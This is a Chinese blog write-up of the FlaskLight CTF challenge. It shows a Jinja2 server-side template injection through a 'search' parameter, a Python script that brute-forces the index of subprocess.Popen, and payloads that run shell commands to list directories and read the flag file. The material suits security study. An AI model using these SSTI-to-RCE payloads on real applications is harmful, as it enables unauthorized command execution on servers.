首页 > 其他分享 >[CSCCTF 2019 Qual]FlaskLight

[CSCCTF 2019 Qual]FlaskLight

时间:2024-05-03 15:44:43浏览次数:13  
标签:__ .__ CSCCTF res __.__ Qual mro 2019 class

[CSCCTF 2019 Qual]FlaskLight

打开环境

BlFd9_QyyiU0IJbFW_AtIhKKCTBUKGnmemD3s8BjvK0

源代码里发现可通过GET方式传入参数

Ao_7V3nX3ng7ziq6U59vwpqBWl5R6sJ25TWIdLQ_3PM

简单验证发现存在SSTI

tUcofv_QaZedSKle9LLOgoBSGCYQgmz8niMR98Z_tlw

{{''.__class__.__mro__[2].__subclasses__()}}
#可以爆出所有的类

d6je7lqX7WN_iUgHlKGm_rK0whFFL9TD06qiYqN05D0

编写脚本查找可利用的类

利用subprocess.Popen执行命令

import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
    try:
        url = "http://d508a2e1-0194-4d51-871a-42388d21b1a5.node5.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
        time.sleep(0.1)
        # print(res)
        # print(r.text)
        res = html.unescape(res[0])
        print(str(i) + " | " + res)
        if "subprocess.Popen" in res:
            index = i
            break
    except:
        continue
print("indexo of subprocess.Popen:" + str(index))

2sJ_wSvsihX0netjwWV7pxj-RCzThyUKJGxi3qhEd20

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

tokoMoerVV3Ksb0w5PfAMU1oS-MULqywoLLkG6dgd44

标签:__,.__,CSCCTF,res,__.__,Qual,mro,2019,class
From: https://www.cnblogs.com/fishjumpriver/p/18171262

相关文章

  • unicode编码 asis_2019_unicorn_shop
    这题就是让我们购买第四个商品当我们输入price为1337.0的时候他会报错,显示要我们只输入一个字符那么我们就要想怎样用一个字符来表示一个比1337还要大的数字答案是unicode编码(题目的名字给了提示)上这个网站我们直接查看2000的unicode编码把这个编码复制一......
  • Java中“==”与“equals”在字符串比较中的应用与分析
    packagecom.aiit.helloworld;publicclassHelloWorld{ publicstaticvoidmain(Stringargs[]){ Strings1="a"+"b"; Strings2=newString(s1); if(s1==s2)//false System.out.println("doit~~~"); if(s1.equals(s......
  • 洛谷 P5293 [HNOI2019] 白兔之舞
    洛谷传送门所求即为:\[\begin{aligned}f_t&=\sum\limits_{m=0}^L\binom{L}{m}A^m[k\midm-t]\\&=\frac{1}{k}\sum\limits_{m=0}^L\binom{L}{m}A^m\sum\limits_{i=0}^{k-1}\omega_k^{i(m-t)}\\&=\frac{1}{k}\sum\l......
  • [FBCTF2019]RCEService
    [FBCTF2019]RCEService打开环境,提示输入JSON格式输入{"cmd":"ls"},只有一个index,php,而且不能读取到这卡住了,找了师傅们的WP发现源码<?phpputenv('PATH=/home/rceservice/jail');if(isset($_REQUEST['cmd'])){$json=$_REQUEST['cmd'];......
  • 2018-2019 ACM-ICPC, China Multi-Provincial Collegiate Programming Contest
    A.MaximumElementInAStack按照题目模拟就好,栈内的最大值可以维护单调栈解决。#include<bits/stdc++.h>usingnamespacestd;usingi64=longlong;usingui32=unsignedint;ui32SA,SB,SC;ui32rng61(){SA^=SA<<16;SA^=SA>>5;SA^......
  • [SUCTF 2019]Pythonginx
    [SUCTF2019]Pythonginx打开环境@app.route('/getUrl',methods=['GET','POST'])defgetUrl():url=request.args.get("url")host=parse.urlparse(url).hostname//urlparse对url中的各个组成部分进行分割ifhost=='suctf......
  • [De1CTF 2019]SSRF Me
    [De1CTF2019]SSRFMe整理代码#!/usr/bin/envpython#encoding=utf-8fromflaskimportFlaskfromflaskimportrequestimportsocketimporthashlibimporturllibimportsysimportosimportjsonimportimpimp.reload(sys)app=Flask(__name__)secert_key=......
  • [IOI2019] 景点划分
    令人忍俊不禁的是,11月的模拟赛出现了“摩拉克斯”一题,被取之。2月JOISC出现这个模型,被取之。2月模拟赛出现这个模型,被取之。本题再次出现这个模型,被取之。呃呃呃呃呃呃呃呃呃啊。首先进行一些简单的分析:令\(A\leB\leC\),构造\(A,B\)合法的情况即可。并且有\(A\len/......
  • CF1591F Non-equal Neighbours
    题面:thissolution:容斥神仙题qwq考虑全集-补集,此时补集就是一些集合的并,可使用容斥设至少\(j\)个点满足\(b[i]==b[i+1]\)时方案数为\(f_j\)直接求不好求,考虑转化:有\(j\)个点时就把原序列隔成了\(n-j\)段,段内无所谓,但是用于分割的之间的段需要一样此时自然而然的......
  • [CSP-J2019] 数字游戏
    [CSP-J2019]数字游戏题目描述小K同学向小P同学发送了一个长度为8的01字符串来玩数字游戏,小P同学想要知道字符串中究竟有多少个1。注意:01字符串为每一个字符是0或者1的字符串,如101为一个长度为3的01字符串。输入格式输入文件只有一行,一个长度为8的0......